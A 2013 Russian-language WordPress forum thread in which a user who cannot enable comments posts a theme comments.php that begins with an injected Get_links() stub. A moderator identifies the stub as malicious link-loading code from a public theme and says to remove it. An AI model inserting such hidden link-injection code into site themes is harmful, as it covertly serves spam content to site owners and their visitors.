Xweb12 97 Posted October 5, 2013 Report Share Posted October 5, 2013 Всем привет. Возникла проблема с комментами. Сайт sandeko.ru. Не могу их включить на страницах с материалами. Что только уже не делал. И код вывода комментов в single.php вставлял, и по другому. Просто ранее стояли комментарии ВК, которые мне не очень нравились. Хотелось бы узнать, почему я не могу вывести стандартную форму комментариев. Прошу помочь разобраться. Quote Link to post Share on other sites
Модератор files 2797 Posted October 5, 2013 Модератор Report Share Posted October 5, 2013 В файле функцион у вас наверняка функция подгружающая левый код с какого-нибудь рекламного сайта и функция эта включается вверху (обычно) комментариев. Скиньте содержимое файла сомментс.php Xweb12 1 Quote Link to post Share on other sites
Xweb12 97 Posted October 5, 2013 Author Report Share Posted October 5, 2013 @files, пожалуйста: <?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?><?php /* Comments Template */ if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if (post_password_required()) { echo '<p class="no-comments">' . __('This post is password protected. Enter the password to view comments.', 'mh') . '</p>' . "\n"; return; } if (have_comments()) { echo '<h4 class="section-title">'; echo comments_number(__('0 Comments', 'mh'), __('1 Comment', 'mh'), __('% Comments', 'mh')); echo __(' to ', 'mh') . '“' . get_the_title() . '”</h4>' . "\n"; echo '<ol class="commentlist">' . "\n"; echo wp_list_comments('callback=mh_comments'); echo '</ol>' . "\n"; if (get_comments_number() > get_option('comments_per_page')) { paginate_comments_links(array('prev_text' => __('«', 'mh'), 'next_text' => __('»', 'mh'))); } if (!comments_open()) { echo '<p class="no-comments">' . __('Comments are disabled', 'mh') . '</p>' . "\n"; } } if (comments_open()) { $custom_args = array( 'title_reply' => __('Leave a comment', 'mh'), 'comment_notes_before' => '<p class="comment-notes">' . __('Your email address will not be published.', 'mh') . '</p>', 'comment_notes_after' => '', 'comment_field' => '<p class="comment-form-comment"><label for="comment">' . __('Comment', 'mh') . '</label><br/><textarea id="comment" name="comment" cols="45" rows="5" aria-required="true"></textarea></p>'); comment_form($custom_args); } ?> Quote Link to post Share on other sites
Модератор files 2797 Posted October 5, 2013 Модератор Report Share Posted October 5, 2013 убери $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; из первой строчки и будут тебе комментарии Но не помешало бы почистить тему от других вложенных зловредностей, их в публичных шаблонах бывает много. На этой почве оказываю услуги, вот тема - http://talk.pr-cy.ru/topic/2053-услуги-по-cms-wordpress/?view=findpost&p=22044 Quote Link to post Share on other sites
Xweb12 97 Posted October 5, 2013 Author Report Share Posted October 5, 2013 убери из первой строчки и будут тебе комментарии Но не помешало бы почистить тему от других вложенных зловредностей, их в публичных шаблонах бывает много. Спасибо за совет, но это не помогло( Quote Link to post Share on other sites
Модератор files 2797 Posted October 5, 2013 Модератор Report Share Posted October 5, 2013 Проблема была как раз в этом. Сделай откат темы чтобы исключить внесенные изменения. Заодно посмотри в функцион функцию Get_links() и все поймешь почему комментарии не открывались Quote Link to post Share on other sites
Модератор files 2797 Posted October 5, 2013 Модератор Report Share Posted October 5, 2013 как вариант, попробуи снести первую строчку целиком <?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?> Также проверь, есть ли строчка типа <?php comments_template( '', true ); ?> в single.php Quote Link to post Share on other sites
Модератор files 2797 Posted October 5, 2013 Модератор Report Share Posted October 5, 2013 Кстати, отут http://sandeko.ru/wp-content/themes/mh-magazine-lite/comments.php у тебя походу Fatal error: Call to undefined function add_action() in /home/xweb12/sandeko.ru/wp-content/themes/mh-magazine-lite/includes/mh-options.php on line 8 Quote Link to post Share on other sites
Xweb12 97 Posted October 5, 2013 Author Report Share Posted October 5, 2013 как вариант, попробуи снести первую строчку целиком Также проверь, есть ли строчка типа <?php comments_template( '', true ); ?> в single.php Снес всю строчку целиком, но так и ничего не изменилось. А в single.php такой строчки нет Quote Link to post Share on other sites
Модератор files 2797 Posted October 5, 2013 Модератор Report Share Posted October 5, 2013 Ну так поставьте в single.php где-нибудь внизу от <?php the_content(); ?>: <?php comments_template(); ?> или <?php comments_template( '', true ); ?> Правда я не уверен, что они запустятся, пока не решите Fatal error: Call to undefined function add_action() in /home/xweb12/sandeko.ru/wp-content/themes/mh-magazine-lite/includes/mh-options.php on line 8 Quote Link to post Share on other sites
Модератор files 2797 Posted October 5, 2013 Модератор Report Share Posted October 5, 2013 comments.php должен начитаться с <?php Quote Link to post Share on other sites
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.